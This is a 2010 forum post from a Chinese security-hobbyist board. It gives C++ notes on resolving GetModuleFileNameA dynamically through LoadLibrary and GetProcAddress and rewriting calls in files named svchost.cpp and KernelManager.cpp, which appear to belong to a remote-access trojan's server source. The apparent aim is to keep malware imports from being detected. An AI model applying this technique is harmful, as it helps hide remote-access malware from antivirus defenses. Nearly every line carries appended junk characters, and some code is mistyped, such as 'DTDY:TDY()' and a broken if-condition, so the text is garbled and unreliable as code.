Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记
6 k4 J& Z* |+ R! W. Lsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
" o9 b9 U) B; W; V----------------------------------------/ R+ t0 k/ l- k) q
DTDY.h:
1 A( d' K: f3 I7 ~
' h* m; F; q) e#if _MSC_VER>1000; o9 g* Q6 T9 U, _- f# P3 W4 A
#pragma once
  H$ E/ {- ^5 x% u#endif //_MSC_VER>1000& W: M. Z2 R( m# @3 @7 M) T
#include<windows.h>1 m7 G; p' o% [& @) L5 H/ d* B0 Q, {

* X7 L* |/ p6 h* G/ Q% ?3 R/ s8 Dtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  {+ D: B# R6 k7 X. q
class DTDY7 S5 P# u2 r' w
{
7 J" T# F. e$ i+ s+ r! f4 bpublic:: R* e8 S' d. @. q' j/ e
DTDY();6 i8 u% Z3 l. _* ~0 V, w
virtual ~DTDY();/ h6 c. A2 g$ G, U) V
public:
9 I/ O" a* v( R% ]static pGetModuleFileNameA MyGetModuleFileName;8 e4 s, ~/ g: }3 L9 F3 u
static BOOL FunInitiallization();
' y1 r7 h; q6 f5 q. L6 w};# P9 t4 q& R. i# E' ]4 Y
#endif  E: w# Y3 M0 V
----------------------------------------
% z; V9 \  l0 q2 w. @$ A; Q  H) j0 r& N' W! _0 S8 O# ^
DTDY.cpp:
7 F( n8 c$ @5 _# s9 _
8 D8 d6 G8 [' y#include "DTDY.h"# i+ J0 u% d) ]& k4 S% c
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;. C# t6 v) g  y' h; ]: ^& A
DTDY:TDY(). X: |, Z5 h! \& l
{- w; U" r# ~4 d) z
}6 D6 G: v+ K" y7 }, }8 M
DTDY::~DTDY()' p9 [& m2 z) j* n. ?+ |9 P
{
! r+ v$ L/ y8 I' t. }9 z}7 x, K6 t, k- j+ k5 K3 W$ g
BOOL DTDY::FunInitiallization()2 A* X' I9 J% Z6 r
{
7 F5 b" O, N$ R/ aHMODULE hModule=LoadLibrary("kernel32.dll");
/ a8 f- B% g( S! `6 C, ^' a3 eMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
6 U+ g6 z$ j- N: b9 ?if(!MyGetModuleFileName=) return FALSE;0 e" T, \# B% K6 C7 ?6 D' ?

4 e0 L5 k: A0 o4 D( k. C) Zreturn TRUE;
' {+ o0 r# A  Q  V2 t, U}; ~9 e+ Z' s- I9 E4 ?
----------------------------------------: S; e" L; O' e# l: x0 o- [
svchost.cpp:
% p% v$ G; c+ v8 V, _! L# Z. A8 U9 [+ {
#include "DTDY.h"
' F0 D0 |( Z( I/ j" L
2 R' `& |% ?4 S/ X+ q4 {& _$ ?$ ZBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved): B" w# Q# z4 D1 [' }4 C
{7 W5 @6 {/ b6 N
switch(ul_reason_for_call)
7 v$ ~/ J- p$ D" S: X{
! B; \' R2 I6 t$ j. @case DLL_PROCESS_ATTACH:
$ c, w+ w1 J# Xif(!DTDY::FunInitiallization()) return FALSE;0 k8 O7 r1 K( l2 C8 e( y
, @- @+ }% F' W# M
break;
5 Z6 y+ v/ _5 r}( y) O9 O4 a. w  x6 A
}
+ Y5 R3 m6 S* c6 b8 A; X/ s, u
( h; S7 o$ K2 Q+ _
- `: g# Q* c) V! ^GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def' G0 v# Y6 b; ]4 |  |: V( l4 {
改写为
* y! z+ ?9 y/ S" ZDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
! q" X2 D! c- ?+ _----------------------------------------& ~, z# A5 Y9 D, {- G; ?! `: q
KernelManager.cpp:5 ^, b$ ]0 ]5 J5 y2 A* c
* }" ?7 U6 V4 j+ j/ r0 X
#include "../DTDY.h"
* R1 v4 s+ N' e" _5 u% dGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
0 g, b! a- `7 ?改写为
3 f! ~: I% c6 q4 I. JDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 H& ~+ ?% W- t; o/ I1 r
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2